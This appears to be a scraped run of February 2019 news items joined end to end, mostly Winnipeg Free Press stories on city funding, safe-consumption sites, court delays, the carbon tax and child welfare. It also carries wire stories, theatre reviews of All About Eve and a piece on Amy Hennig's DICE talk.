Some of the upgrades in Phase 2 include: new rapid overhead doors at the wash rack; hoist replacement; and heavy shop equipment replacement.

Ottawa had previously contributed $1.75 million to the $11.47-million first phase.

All of the questions from reporters following the announcement were directed at Trudeau  most involved the controversy over Tuesday's resignation of MP Jody Wilson-Raybould from cabinet.

Bowman said the transit infrastructure projects will minimize bus downtime and help update safety standards for employees working in the garage complex.

Missing from Tuesdays event were provincial government representatives. While most major infrastructure projects involve city hall partnering with both upper levels of government, no provincial funding was directed at these upgrades. (The province had contributed $437,500 to Phase 1.)

Earlier Tuesday, Bowman told reporters Premier Brian Pallister had refused to meet with him over a city funding dispute, and the mayor's comments at the transit event appeared to contrast the different relationship he has with the prime minister.

Bowman singled out Trudeau and the federal government for thanks several times, singling out the contribution not only on transit, but also Ottawas investment in the citys road program, and its involvement in the joint illicit drug task force. The federal government, Bowman said, had given Winnipeg almost $500 million since the last federal election.

"The federal government has been a very strong partner for the City of Winnipeg, and I want to specifically applaud prime minister Trudeaus flexibility and openness to work on city-building efforts," Bowman said.

Trudeau played down the absence of provincial representatives, telling reporters he has a good relationship with the Manitoba government.

aldo.santin@freepress.mb.caThere are fewer Second World War combat heroes among us each day and Rishi Sharma is racing against time to find them and document their stories.

Hey there, time traveller!

This article was published 13/2/2019 (861 days ago), so information in it may no longer be current.

There are fewer Second World War combat heroes among us each day and Rishi Sharma is racing against time to find them and document their stories.

The 21-year-old native of Agoura, Calif., is on a mission to interview as many combat veterans of the Second World War as he can, knowing that time is running out. He said the youngest among the remaining veterans are 92 years old.

Sharma, who makes no money and whose expenses are covered by the non-profit corporation Heroes of the Second World War, has travelled and interviewed veterans full-time for two years and plans to continue as long as he can.

He will be in Winnipeg on Friday to interview Battle of Hong Kong veteran George Peterson, the only surviving member of the Arden Seven  a group of young men who lived on Arden Avenue in St. Vital and joined the Winnipeg Grenadiers, fighting to defend Hong Kong from Japanese invasion during the Second World War.

Sharma said he recently interviewed his 1,000th veteran. He records the interviews and gives copies to each veteran. If the veteran is willing, a copy is also sent to the World War II Museum in New Orleans. Some interviews are posted on Sharma's website www.heroesofthesecondworldwar.org and to YouTube.

"I just love them. They're just my heroes, ever since I was a little kid," said Sharma, in a telephone interview. "I'm alive today because 75 years ago a bunch of people were willing to go through hell, experiencing, doing things and seeing things that no one should ever have to so that maybe we'll have a chance at a peaceful life for future generations. We need to hear these stories and preserve them."

It is just his second time in Canada, previously visiting Toronto. Sharma has been to 47 of the 50 American states and has been to Ireland, England, Wales, Scotland and France. He heads to New Zealand after Winnipeg.

In Canada, there were fewer than 61,000 Second World War veterans remaining in 2016, out of about one million who served. Current numbers were not available from Veterans Affairs Canada. The U.S. Department of Veterans Affairs stated that only 558,000 of the 16 million Americans who served in World War II were still alive in 2017. The USVA estimates 362 die each day.

The Battle of Hong Kong began on Dec. 8, 1941 and lasted 17 days. The allied forces, greatly outnumbered, surrendered to the Japanese on Christmas Day 1941. The survivors spent the next 44 months as prisoners of war living in horrific conditions. They were malnourished, tortured and forced to work as slaves until their release in 1945 after the atomic bombing of Hiroshima and Nagasaki.

"I never, ever thought of myself as a hero. I did my duty, that was all. And I was as afraid, as scared as everybody else was at times," Peterson said in 2016 when he was 96 and interviewed by CBC for the $20 coin marking the 75th anniversary of the Battle of Hong Kong. "I never did anything that I figured was heroic. I am a survivor."

Sharma said the Second World War combat veterans were part of a generation that gave back to society in areas of science, technology, politics and education when they returned.

"These people gave more and did more for other people than anyone ever did for them," he said.

Sharma is encouraging combat veterans or anyone who knows a combat veteran in Canada to call him at 1-929-313-9037 so he can ask them for an interview.

ashley.prest@freepress.mb.caThe Manitoba NDP is pushing Mayor Brian Bowman to consider sidestepping the provincial government to obtain federal permission to open a safe-consumption site in Winnipeg to deal with the city's meth crisis.

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This article was published 12/2/2019 (862 days ago), so information in it may no longer be current.

The Manitoba NDP is pushing Mayor Brian Bowman to consider sidestepping the provincial government to obtain federal permission to open a safe-consumption site in Winnipeg to deal with the city's meth crisis.

Last fall, federal Health Minister Ginette Petitpas-Taylor said Ottawa would allow municipalities and non-profits to apply for exemptions from provincial rules barring safe-consumption sites.

In an interview with the Globe and Mail, which first reported on the federal policy shift, Petitpas-Taylor said the move was aimed at preventing overdoses amid a national opioid crisis, based on evidence that "supervised-consumption sites save lives."

Manitoba NDP leader Wab Kinew met with Bowman last week to discuss various city-provincial issues, including how meth use has ravaged Winnipeg.

MIKE DEAL / WINNIPEG FREE PRESS FILES NDP leader Wab Kinew met with Winnipeg Mayor Brian Bowman last week to discuss, among other things, the city's meth crisis.

Kinew said the meeting was "productive" and Bowman was open to hearing about the safe-consumption site proposal, though the mayor wouldnt commit to the idea.

"I dont want to speak for the mayor, but I think I can probably share that I think he has a desire to pursue whatever kind of action is going to help to reduce the addictions crisis in Winnipeg. So we had a lot of shared interest there," Kinew said in an interview Tuesday.

Safe-consumption sites  which exist in other Canadian cities like Vancouver, Calgary and Toronto  allow people to inject, inhale or otherwise consume illegal drugs with medical supervision, in an attempt to prevent fatal overdoses. They are commonly referred to as safe injection sites.

Bowman's press secretary, Jeremy Davis, responded to questions about Kinew's proposal for a safe-consumption site by email. He noted the mayor has been more focused on supporting increased capacity for mental health and addictions treatment city-wide.

"In that meeting (with Kinew), Mayor Bowman outlined that the delivery of health services remains a provincial responsibility but that the Mayor is supporting the work of the ongoing tri-government Illicit Drug task force," Davis wrote, referring to a group struck by city, provincial and federal officials in December.

The task force pledged to bring recommendations forward in June that will tackle the distribution of illicit drugs and address the root causes of the province's meth problems.

"While Mayor Bowman is not actively seeking to establish safe consumption sites in Winnipeg, he has not been opposed to them," Davis said.

"His position has consistently been that decisions surrounding their establishment in Winnipeg should be guided by scientific and clinical evidence and not partisan ideology."

The provincial government has repeatedly denied that Winnipeg needs a safe-consumption site, but also said it wouldnt take any ideas off the table when it comes to fighting Manitobas meth problem.

Premier Brian Pallister has made clear his concerns about safe-consumption sites, saying he personally doesnt like them, but the province will weigh all its options.

"My opinion was theyre a magnet for drug dealers and theyre dangerous in many respects, and there are many other initiatives weve taken and will be taking to address this issue because it is a serious concern," the premier said in December.

Kinew said the "evidence is becoming clearer and clearer" that a safe-consumption site would be a necessary step in a multi-pronged approach to "turn the addictions crisis around" in the province.

"And it seems to me, youve got a federal government thats willing to take action So theres the opportunity for a city like Winnipeg to move on this and it just highlights the lack of leadership from the provincial government," he said.

Public opinion seems to be in favour of the controversial sites, according to a Probe Research poll conducted for the Free Press in July.

The poll asked 600 Manitoba adults whether they approved of a safe-injection site opening in Winnipeg. Sixty-nine per cent of people surveyed were generally in favour of the idea, while 31 per cent were generally opposed.

With files from Aldo Santin

jessica.botelho@freepress.mb.ca

Twitter: @_jessbuJudges have the power to fine lawyers as a way to combat court delays and a "culture of complacency" for court-ordered timelines, Manitoba's highest court has ruled  but they must use that power "with restraint."

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This article was published 12/2/2019 (862 days ago), so information in it may no longer be current.

Judges have the power to fine lawyers as a way to combat court delays and a "culture of complacency" for court-ordered timelines, Manitoba's highest court has ruled  but they must use that power "with restraint."

The Manitoba Court of Appeal set out a "flexible procedure" by which judges can order lawyers to pay fees, starting in the range of $100 to $150, for failing to meet court timelines. The fees are separate from any misconduct complaints against lawyers and are meant to reduce delays.

Under the new process, lawyers have to be given proper notice of the costs and they'll have the right to defend themselves.

"In my view, in situations where timelines have not been respected, without reasonable excuse, the award of costs offers an efficient way to address counsels lapse," Manitoba Chief Justice Richard Chartier wrote in the recent Court of Appeal decision on a case that prompted the attorney general and the Criminal Defence Lawyers Association of Manitoba to get involved.

In October 2016, on the heels of the Supreme Court's Jordan decision, cracking down on court delays across Canada, Manitoba became the first  and is still the only  province to implement criminal-court rules that allowed superior court judges to impose fees on lawyers who don't follow timelines.

In 2017, the Supreme Court of Canada affirmed judges' power to impose such fees. The Manitoba Court of Appeal's recent decision details for the first time how judges should order them.

"The primary purpose of these costs-awarding rules relates to compliance and preserving public confidence in the criminal justice system. They aim to change that culture of complacency and break bad habits to improve efficiency. No one group is to blame for this culture of complacency. The entire criminal justice system is to blame, including us, the judiciary, who have come to tolerate delay and accept preventable adjournments," Chartier wrote in the decision.

The ruling comes after a Winnipeg defence lawyer challenged $1,000 in court costs he was ordered to pay for missing a deadline to file a document related to his client's defence.

Karl Gowenlock was representing a woman who was charged with possession for the purpose of trafficking marijuana. He intended to challenge the legality of the search warrant in her case, but missed the deadline to file a legal motion because he put the dates into his Google calendar instead of his Outlook calendar.

"It didnt actually cause any delay," Gowenlock said, adding the case proceeded on schedule despite the missed deadline. The woman was ultimately fined for possession of marijuana after going to trial. She was acquitted of the more serious trafficking charge.

On April 6, 2017, Court of Queen's Bench Justice Doug Abra ordered Gowenlock to pay $1,000, saying the missed deadline amounted to "inadvertent negligence." The appeal court ordered Gowenlock be reimbursed for the $1,000 he paid. Under the process the appeal court set out, personal fines against lawyers must start out lower, taking into consideration lower compensation paid to defence lawyers through Legal Aid Manitoba.

Gowenlock said he's reassured by the "significant procedural safeguards" the appeal court set out to guide judges who want to impose those fees, but he said making lawyers pay out-of-pocket won't address systemic delays in the court system. Lack of court resources, not defence lawyers, is to blame for the majority of court delays, he said.

"I think it is kind of an unnecessary step by the court to impose these kinds of fines. Ultimately, I think well just see them be rarely applied," Gowenlock said. "I dont think lawyers missing timelines was even close to the primary cause of delay."

katie.may@freepress.mb.ca

Twitter: @thatkatiemayTORONTO - TekSavvy Solutions Inc. lodged a complaint with the CRTC on Wednesday, saying that critical statistical information compiled by the federal telecommunications regulator was omitted from last year's edition of an annual industry report.

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This article was published 13/2/2019 (862 days ago), so information in it may no longer be current.

The TekSavvy Solutions Inc. logo is seen in this undated handout photo. TekSavvy Solutions Inc. has lodged a complaint with the CRTC, saying that critical statistical information compiled by the federal telecommunications regulator was omitted from last year's edition of an annual industry report. THE CANADIAN PRESS/HO, TekSavvy Solutions Inc.*MANDATORY CREDIT*

TORONTO - TekSavvy Solutions Inc. lodged a complaint with the CRTC on Wednesday, saying that critical statistical information compiled by the federal telecommunications regulator was omitted from last year's edition of an annual industry report.

The Ontario-based independent internet provider (ISP) said that the CRTC's omission of the information makes it more difficult for companies like TekSavvy as they compete with industry giants, particularly Bell Canada.

A spokeswoman for the Canadian Radio-television and Telecommunications Commission said it's reviewing TekSavvy's complaint.

TekSavvy said the 2018 Communications Monitoring Report issued Dec. 20 didn't follow the CRTC's usual practices for reporting things like consumer appetite for faster internet, capital spending by independent ISPs and their market share.

Industry data normally available in December would have helped independent ISPs make their case at CRTC hearings in December and January, said Andy Kaplan-Myrth, TekSavvy's vice-president for regulatory affairs.

The lack of certain types of information at a critical time "definitely raises questions and concerns" Kaplan-Myrth said in an interview, but he declined to speculate on the reason for its omission.

Instead, Kaplan-Myrth said he hopes to get an explanation from the CRTC that addresses these concerns without escalating the complaint to the minister responsible for telecommunications, Navdeep Bains.

"But I'm sure the minister's office is aware of the letter as well and may have questions of their own," Kaplan-Myrth said.

TekSavvy and its peers have been trying for years to get the CRTC to make it easier for wholesale internet resellers like them to offer higher-speed internet service to their customers, who are also potential customers of the big players.

Previous CRTC decisions have effectively allowed Bell Canada and other major phone companies to limit their wholesale customers, like TekSavvy, from offering residential internet services above 50 megabits per second.

A landmark CRTC decision in 2015 set the stage for creating a new regulatory and pricing regime for independent ISPs that depend on renting network infrastructure from phone and cable companies.

Bell Canada and other major carriers are building out residential fibre networks capable of 1,000 megabits per second or more (1 to 1.5 gigabits per second) but independent ISPs complain CRTC regulations are lagging behind the times.

As a result, the independent ISPs are faced with either paying uneconomically high wholesale rates to access fibre optic infrastructure or continue being limited to speeds of 50 mbps over DSL lines or 100 mbps over coaxial lines.

"So we're effectively capped at 50 (mbps) until Bell either allows us to have access to the fibre, which they could do, or the CRTC finalizes this framework and mandates that they give access to the fibre," Kaplan-Myrth said.

In the meantime, the Canadian Network Operators Consortium  which represents independent ISPs including TekSavvy  has asked for interim relief through a CRTC process that was unfolding when the industry report was issued.

TekSavvy's letter to the CRTC cites an extensive list of information that it claims had been collected, and available through archived raw data sets, but not included in the 2018 published report for some reason.

For example, TekSavvy said it discovered by examining the raw data that 25.8 per cent of residential retail subscribers had services with advertised speeds of 100 mbps or higher in 2017  above the CRTC's DSL speed cap of 50 mbps.

It also alleges that the 2018 report omitted all data and analysis concerning resellers wireline revenue market share, resellers capital investments and resellers' total share of communications revenues.

In addition, TekSavvy alleges that nearly 17 pages of data and analysis on the wholesale telecommunications sector were excluded from the published report  removing 95 per cent of the data and analysis included in the 2017 report.

Companies in this story: (TSX:BCE)

Note to readers: This is a corrected story. An earlier version referred to internet speeds of 50,000 megabits per second, instead of 50 megabits per second.Many Manitoba small- and medium-sized businesses dont like the fact that households will receive 90 per cent of the carbon tax rebate.

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This article was published 12/2/2019 (862 days ago), so information in it may no longer be current.

Many Manitoba small- and medium-sized businesses dont like the fact that households will receive 90 per cent of the carbon tax rebate.

The Manitoba businesses also say the federal government is wrong in its assumption that businesses will be able to pass along most of the tax, according to a survey conducted by the Canadian Federation of Independent Business (CFIB).

The Trudeau plan "is extremely unfair to small businesses," said Jonathan Alward, CFIB director of provincial affairs for Manitoba.

The CFIB only surveyed businesses in the four provinces that couldnt come up with a plan to meet the federal governments carbon-pricing criteria  Manitoba, Saskatchewan, Ontario and New Brunswick, all of which have Conservative governments.

Ottawa is imposing its own carbon-pricing system in those provinces. Its plan heavily favours rebates going back to households because Ottawa argues the companies will find a way to pass the carbon tax onto consumers.

But the companies say the federal governments premise is false. Better than half the companies surveyed in those four provinces said they dont expect to pass on the carbon tax, and a quarter say they will pass on less than 25 per cent.

"I think it hinges on a false assumption that small business will simply be able to just pass along these extra costs to customers. We dont think that is the case," Alward said.

British Columbia, Alberta and Quebec were left out of the survey because they already have carbon pricing. The Maritime provinces, apart from New Brunswick, have drafted carbon pricing policies that meet Ottawas criteria and werent part of the survey either.

Ottawas tax of $20 per tonne of greenhouse gas emissions takes effect April 1.

The survey was taken by 3,500 members in the four provinces. The lobby group represents 110,000 small- and medium-sized business  just under 11 per cent of businesses of that size in the country.

The carbon tax is destined to be a key campaign issue in Octobers federal election. The Liberal government believes carbon pricing, which has been in place for years in the aforementioned provinces, is one of the best ways to lower emissions.

The Opposition Conservatives have repeatedly called the Liberal system a "tax grab" that will hurt the bottom lines of small businesses and families, kill jobs and make the country less competitive.

The CFIB maintains small business will pay almost 45 per cent of the tax in the four provinces surveyed, but will receive just seven per cent back in rebates and grants.

One group that is never able to pass on costs is farmers, because their commodity prices are set globally.

Farmers are exempt from paying the tax on "purple" fuel  fuel with purple dye added to identify it for farm use in tractors and combines. However, they are not exempt from paying carbon tax on heating fuels to dry grain and heat greenhouses and barns, a spokeswoman for Keystone Agricultural Producers (KAP) said.

KAP has lobbied the Senate for more exemptions and the Senate has agreed, but no action has yet been taken. Farmers also pay the carbon tax on fertilizers and fuel to move commodities to market.

The price per tonne of carbon was the "sticking point" in disputes between Ottawa and the four provinces that led to Ottawa imposing a carbon pricing plan, Alward said. Manitoba wanted to impose a flat tax of $25 per tonne, while Ottawa insisted prices have to reach $40 per tonne after three years.

National surveys of CFIB members show the small businesses are overwhelmingly against a carbon tax, period. In the recent survey, 93 per cent of Manitoba small businesses said they oppose the tax. They believe it will make their operations less competitive.

"Punitive measures like carbon taxes are the least incentive to get people to go green," Alward maintained. "Generally, wed rather the federal government focus on non-taxation measures first."

Ottawa has said 10 per cent of the revenue from the carbon tax will be dedicated to a program to help organizations, such as schools, that are unable to pass on the costs via higher prices.

Part of this portion  worth about $1.5 billion  will also be used to help small- and medium-sized businesses adapt to carbon pricing over the next five years, the government has said.

 with files from The Canadian Press

bill.redekop@freepress.mb.caLAS VEGAS - The chief executive of Southwest Airlines says the Dallas-based carrier is considering adding nonstop flights between Las Vegas and Hawaii.

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This article was published 13/2/2019 (861 days ago), so information in it may no longer be current.

LAS VEGAS - The chief executive of Southwest Airlines says the Dallas-based carrier is considering adding nonstop flights between Las Vegas and Hawaii.

Southwest CEO Gary Kelly says launching flights to Hawaii from four California cities is the airline's priority this year, but adding flights from Nevada to Hawaii could be possible next year.

The airline hopes to begin service to Hawaii in April.

It completed a test flight from Oakland, California, to Honolulu last month to show federal aviation officials that it should be authorized to begin flying across the Pacific Ocean.

The airline is awaiting certification by the Federal Aviation Administration to start the commercial flights to Hawaii.MONTREAL - The Federal Court of Appeal has upheld a lower court ruling that Bell Helicopter Textron Inc.'s Quebec-based subsidiary pay Airbus SE's helicopter division $1.5 million for a patent violation.

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This article was published 13/2/2019 (861 days ago), so information in it may no longer be current.

In this photo taken June 26, 2018, an Airbus H160 helicopter perform tests over the Four Corners Regional Airport in Farmington, N.M. The Federal Court of Appeal has upheld a lower court order that Airbus' helicopter division pay Bell Helicopter Textron Inc.'s Quebec-based subsidiary $1 million in punitive damages for a patent violation. THE CANADIAN PRESS/Jon Austria/The Daily Times via AP

MONTREAL - The Federal Court of Appeal has upheld a lower court ruling that Bell Helicopter Textron Inc.'s Quebec-based subsidiary pay Airbus SE's helicopter division $1.5 million for a patent violation.

The ruling includes $1 million in punitive damages and $500,000 in compensatory damages tied to its patent for the so-called "Moustache" landing gear.

The legal battle over landing gear has been raging since 2008, when Airbus Helicopters S.A.S.  then known as Eurocopter Group  launched court actions in Canada, France and the United States.

In 2012, the Federal Court of Canada ruled that Bell had copied the landing gear design for some of its light helicopters from Airbus, though Bell modified that design before applying it to any models on the market.

The court found only one of the 16 claims tied to Airbus' Canadian patent to be valid, though it dubbed Bell's design a "slavish copy."

The 2012 decision states Bell  a Texas-based company with commercial helicopter production in Mirabel, Que.  had made plans to manufacture the skid gear and promoted sales of an upcoming model equipped with it  the Bell 429, now used by the Canadian Coast Guard.The Assembly of Manitoba Chiefs says it's concerned about the provincial government's plan to pivot all Child and Family Services authorities to a block-funding model as of April 1.

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This article was published 13/2/2019 (862 days ago), so information in it may no longer be current.

The Assembly of Manitoba Chiefs says it's concerned about the provincial government's plan to pivot all Child and Family Services authorities to a block-funding model as of April 1.

The province also announced Monday it would redirect federal Children's Special Allowance (CSA) monies to child welfare agencies themselves, rather than pocketing the cash.

"The province of Manitoba continues to ignore the longstanding position and resolutions of the AMC Chiefs-in-Assembly that seeks to reassert First Nations jurisdiction and approach to our children and families," said acting grand chief Glenn Hudson in a prepared statement.

"Provincially designed and imposed decisions continually miss the mark in reforming whats known as the Manitoba humanitarian crisis of child welfare."

The AMC has been working with the federal government to draft legislation that would let First Nations regain control over CFS, cutting ties with the province.

Swan Lake First Nation Chief Francine Meeches, who chairs the AMC Womens Council, said the province "continues to ignore" First Nations leadership when working on policies about child welfare.

"The AMC cannot support any provincial measure that continues to wrongfully take monies meant for First Nations children to bolster and fund a provincial system," Meeches said.

"What should happen is the last 12 years of the CSA should be returned to the children who have gone through the child welfare system in Manitoba," she added.

"By allowing the agencies to keep the Childrens Special Allowance now, it is likely just to cover up the funding shortfalls incurred by this system."

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Click #isupportlocal for more information on supporting our local journalists.A recent Housing Market Insight report released by Canada Mortgage and Housing Corporation (CMHC) found that non-individual owners  such as corporations, governments and business partnerships  own less than 10% of residential properties in British Columbia, Ontario and Nova Scotia. Individuals still own the vast majority of residential properties in these provinces.

The report, titled Residential Property in British Columbia, Ontario and Nova Scotia: Overview of Non-Individual Ownership, provided detail on the ownership structure of residential property, including vacant land, in each of the three provinces.

The report showed that non-individual ownership of residential property varies by province  9.8% in BC, 7.4% in Ontario and 7.9% in Nova Scotia. At the census metropolitan area (CMA) level, non-individual ownership is at 5.6% in Vancouver, 4.2% in Toronto and 9.9% in Halifax.

Corporations and government entities dominate non-individual ownership, according to the report, together accounting for 9.5% in BC, 7.1% in Ontario and 7.3% in Nova Scotia. Corporation ownership is concentrated in the construction, real estate, rental and leasing sectors.

Non-individual owners are more prevalent in vacant land ownership in these provinces. For instance, non-individual owners in the construction and government sectors combined account for more than 50% of the total value of vacant land owned by non-individual entities, concentrated in the Vancouver, Toronto and Halifax CMAs.

"This new data on vacant land and ownership structure [address] another important data gap in housing, providing concrete evidence that residential ownership by non-individual entities is dominated by corporations and governments in each of these three provinces, said Bob Dugan, CMHCs chief economist. It may also help us alleviate housing affordability challenges as it allows us to better understand housing supply constraints in key Canadian markets."Sarah Crompton, WhatsOnStage



"It begins, like the movie, with the honey-voiced critic Addison DeWitt ("as essential to the theatre as ants are to a picnic") setting the scene and telling us Eve has won a prize. Then, as the story unfolds backwards, [director Ivo] van Hove reveals his brilliance. Superfan Eve, in the glamorous shape of Lily James, is lurking outside the theatre where Margo is performing. As Margo's friend Karen (Monica Dolan) ushers her inside, Jan Versweyveld's terracotta box of a set rises to reveal backstage clutter, a mirror with bright lights and huge portraits of the star set against the brick walls."

"What saves the evening is [Gillian] Anderson, finding a way to banish Davis' shadow, with a performance that is full of flickering nuance. She manages to say more with a curled lip and a slight shift of her eyebrows than a film of her vomiting down the loo ever could; her scripted putdowns, often delivered more in sorrow than anger, are punctuated by perfectly pitched pauses."

"It is a good evening in the theatre, but some essential spark is missing. I will always remember Anderson as Margo, but I can't help longing for van Hove to give up on remaking movies and return to rethinking plays."





Michael Billington, The Guardian



"This is not to deny that the actors do a good job. Even if it is hard to accept Anderson as a fading beauty, she invests Margo with a slow drawl and a pensive awareness of her own dispensability: she's less of a testy termagant than Bette Davis but more vulnerable in the style of Tennessee Williams's Blanche Dubois."

"The use of technology is admittedly sophisticated. At a celebrated Stork Club dinner party a ferocious encounter in the ladies' room between Eve and Karen, wife of a famous playwright, is projected on to a screen as it happens: at the same time we see the subjects of their debate swilling champagne downstage. But there is a palpable irony to the fact that we are always conscious of watching a piece of director's theatre. This is very much Van Hove's show, whereas All About Eve depicts a vanished theatrical world where sacred monsters like Margo Channing ruled the roost and the writer and director were seen as totally subservient."





Andrzej Lukowski, Time Out



"All About Eve works terrifically, in part because the cast and script are excellent, in part because Van Hove's usual box of live video tricks is so apt for a story that always felt half of film, half of theatre. What I really liked was the woozy ambience of it all. Soundracked by dreamy instrumental music  and a couple of songs  courtesy of PJ Harvey, it feels reflective of and sympathetic to Margo and Eve discombobulation in an industry in which they are ultimately forced to fight bitterly for every step forwards."

"Van Hove's trickery clearly won't be for everyone, but there's something pleasing about that  you don't often get such leftfield directors making work specifically for the West End, and it's very rare you see them doing so with such total self-assurance. Whatever the case, you probably came to look at Gillian Anderson's face, and there's no chance you'll be disappointed on that score."





Lily James and Stanley Townsend in All About Eve

 Jan Versweyveld





Natasha Tripney, The Stage



"The casting of Anderson as Margo is one of the production's greatest strengths. She is simultaneously brittle and radiant, poised yet fragile, while Dolan, as a woman who inadvertently sabotages both her friend's career and her own marriage, provides another reminder of what a great actor she is."

"Lily James, though, is less compelling in the role of the manipulative, ambitious Eve. The production never lets us get under her skin. Eve should drive the narrative, instead she feels secondary."





Dominic Cavendish, The Telegraph



"The two co-stars tread with reasonable adroitness in the hallowed footsteps of their predecessors. Anderson, svelte and glowering, exudes first boredom then fear, communicates wariness well with just a poisonous glance. But we don't get the kind of close-ups that maximised Davis's magnificent drowsy disdain. For her part, James - slinking about but denied the filmic finesse that could capture her stealthy voyeurism - visibly blushes when caught caressing her mentor's stage-gown but she lacks the peculiarity manifest in Baxter's eerie, polite deadpan.

"Elsewhere, there's a stand-out supporting performance from Monica Dolan as Margo's turncoat confidant Karen, and no one disgraces themselves. It's all just rather so-so, efficient and uninspired, even down to PJ Harvey's quietly wailey compositions. All About Eve in colour, then, but somehow grey. Just About OK."





Dominic Maxwell, The Times



"Mostly, the cast is fighting against a muddled multimedia staging that flattens out this witty showbiz melodrama into a kind of narcotised dream. Anderson is made to merge into the reddy-brown colour scheme that dominates Jan Versweyveld's set. Everyone is miked up and competing with a sound design, by Tom Gibbons, and music, by PJ Harvey, that's atmospheric to the point of distracting. Nobody, but nobody, acts badly. Yet nobody, but nobody, sells you on the idea that this is any kind of an upgrade from a movie you can rent for 3.49 on YouTube."

"Harvey writes a haunting song for both leads, sung in a fragile but affecting way by Anderson. Dolan is the strongest presence here, while Stanley Townsend impresses (as usual) as Addison DeWitt, the urbanely omnipotent theatre critic. It's not his fault that George Sanders played the role even better before. This is what theatre should not be: a paler, pricier version of going to the cinema."





Henry Hitchings, Evening Standard



"The involvement of Belgian director Ivo van Hove guarantees a high level of technological wizardry. True to form, he uses roving camera operators to film the characters' private moments. When we see their faces in intense close-up, we can observe their desires growing darker, and there's some impressive trickery with mirrors that highlights the morbid effects of ageing."

"There's skilful support from Rhashan Stone and Julian Ovenden. Monica Dolan is razor-sharp as Karen, the friend who accidentally damages Margo's career, and Stanley Townsend has a finely controlled menace as theatre critic Addison DeWitt, whose suave manner conceals a violent possessiveness."WESTPORT  A Bridgeport man was arrested following a car stop in Westport, police said.

On Feb. 6 around 5:30 p.m., an officer observed a car without a front registration plate travel on Greens Farms Road. An inquiry into the cars registration revealed the plate belonged to another car, police said.

Police stopped the car on Greens Farms Road and identified the driver as James Smith, 37. Officers learned the car was not registered and Smith was driving with a suspended license, police said.

Smith was unable to provide a valid insurance card and was also found to have two outstanding warrants for his arrest on charges of second-degree failure to appear in Bridgeport.

Police took Smith to Westport headquarters, where he was charged with insurance coverage failing minimum requirements, illegal operation of a motor vehicle under suspension, and misuse of plates/license/registration. Smith was also charged with failure to display plates/inserts and operating an unregistered motor vehicle.

Smith was released on a promise to appear and is scheduled to appear in state Superior Court in Norwalk on Feb. 15 for the motor vehicle charges. For the charges of failure to appear, Smith posted a $1,000 bond and was scheduled to appear in state Superior Court in Bridgeport on Feb. 13.

svaughan@hearstmediact.com; 203-842-2638; @SophieCVaughan1SPRINGFIELD, MA (WGGB/WSHM) -- An oxygen tank explosion has led to a mans death in Springfield. Fire and police officials said the tank exploded Tuesday morning on Knox Street in the city after it was tampered with.Reporter

I cover a range of stories for WDRB, but really enjoy tracking what's going on at our State Capitol. I grew up on military bases all over the world, but am a Kentuckian at heart. I'm an EKU alum, and have lived in Louisville for 30 years.If you already subscribe to our print edition, sign up for FREE to view the newspaper online!

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Last Name needs to be in all caps.After Amy Hennig's wild year that saw the unfortunate demise of Visceral's Star Wars game, the veteran game director has been keeping an eye on what kinds of experiences game developers will be working on over the next few years.

In conversation with Tim Schafer today at the 2019 DICE Summit, Hennig argued to the audience that it's a future filled with collaborative experiences, delivered unconventionally on platforms that won't resemble the modern day console space.

If that sounds a bit heady for those of you who weren't there, here's some context. Hennig told Schafer she's been thinking about two observations from her long career in games. First, there's a massive audience for the kinds of games stories can tell, even among people who don't think of themselves as "gamers." Second, it's getting really, really hard to make triple-A games in the fashion of Uncharted. So in her spare time, Hennig's been looking for ways to tell compact interactive stories that can get into people's homes as easily as Bandersnatch did last December.

Who's ahead of the curve?

If you're wondering what game model could possibly fit this format, Hennig's got a few that have caught her attention. Games like Florence, Until Dawn, and Detroit: Become Human all caught her attention because of how accessible they felt to storytelling audiences who might not normally pick up a game controller.

Florence, for those who might not remember, was a simple love story that invited players to interact with the title character's life, while Until Dawn and Detroit: Become Human offered opportunities for observers in the room to yell about what choice the characters should make.

Pre-empting concerns that these players might not be the kind to invest in video games, Hennig pointed out that these people are already game-players, given how often they turn on the TV to experience a story, then pop open their iPhones to play a more mindless game at the same time. With games like Until Dawn, "I keep coming back to that phenomenon [I] witnessed which was people actively, collaboratively playing. Which was, people were engaged, they just didn't want the controller in their hands."

How do you get to those people?

When Hennig was exploring a hypothetical world of collaborative video games, she also talked about a need for a "Trojan Horse" (though the deceptive nature of that terminology may not hold up well, admittedly). Hennig talked about her impressions of Netflix's Bandersnatch, which she admired more for just being accessible on nearly every TV then she did for its narrative mechanics.

For Hennig, Bandersnatch's design did feel somewhat "backwards," since the movie was swapping the kinds of interactivity she's implemented in games like Uncharted. "It takes the thing [players] want to be doing and makes it passive, and takes the thing we want to be intentional and crafted for us and makes ita choice." But to Hennig, Bandersnatch's delivery method wasn't something to be ignored. The experience of "watching" that movie felt frictionless to her, with no decisions to be made about pricing, hardware compatibility, or other concerns that video game players need to make before jumping into a story like Horizon: Zero Dawn.

Hennig couldn't elaborate what that "Trojan Horse" would properly be, but she grasped at the straws she had to try and help the audience see what she was seeing. "If it's a streaming service, it's just a virtual console, and you're just talking to gamers. How do we get it coming into people's homes the same way Netflix and Hulu do? something that's Trojan-Horsed itself into our lives and is this gateway to these games."

All she truly felt confident remarking on was the fact that one technology she hadn't seen capitalized on yet was the fact that every player is holding a virtual controller in their pocket in the form of an iPhone (though obviously games like Jackbox and PlayStation's PlayLink technology have been experiments in this field).

Against dogmatism

One word Hennig (lovingly) used to refer to some of her colleagues was "dogmatic." Both she and Schafer lamented those who had insisted to them that there wasn't any space for storytelling in video games, that players would always want to make choices and determine their own paths.

But the pair both pleaded for their colleagues to recognize that games could be more then that, or even more then the narrative adventures they've dedicated their lives to building. "It's not going to happen through machine learning, it's not going to happen through AI, it's going to happen because people with authorial intent make things that land in a certain way," said Hennig.

This also moved into a discussion about how games are so often about mastery and competition, and how the low finishing rates for narrative games seem tied to the scaling difficulty and increasing length of those triple-A adventures. Between the "either-or" of narrative games and play-driven games, Hennig said she's looking for an "and" category full of games not being made yet.

What's particularly interesting about Hennig's talk is the fact that the veteran developer seems uncommitted to any new major projects as of this writing and that she, like many game developers around the industry, is waiting to see how the next platforms (whatever they are) shape up.Zhou Danlin (L), a railway policewoman from Hefei Railway Administration, gives a toy to Xu Ruihao (C) on the T3089 train from Hefei, east China's Anhui Province, to Guangzhou, south China's Guangdong Province, on Feb. 12, 2019. Xu, accompanied by his parents, leaves his hometown for Zhejiang, the province where his parents work, after visiting his grandparents in Guangzhou. As the Spring Festival holiday ended, people flocked back to cities where they work. (Xinhua/Zhang Duan)

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[ Editor: WPY ]Downtown Ready For Fulton County In Bloom With some of downtowns most iconic buildings in the background, two of the 70 Fulton County in Bloom hanging baskets...

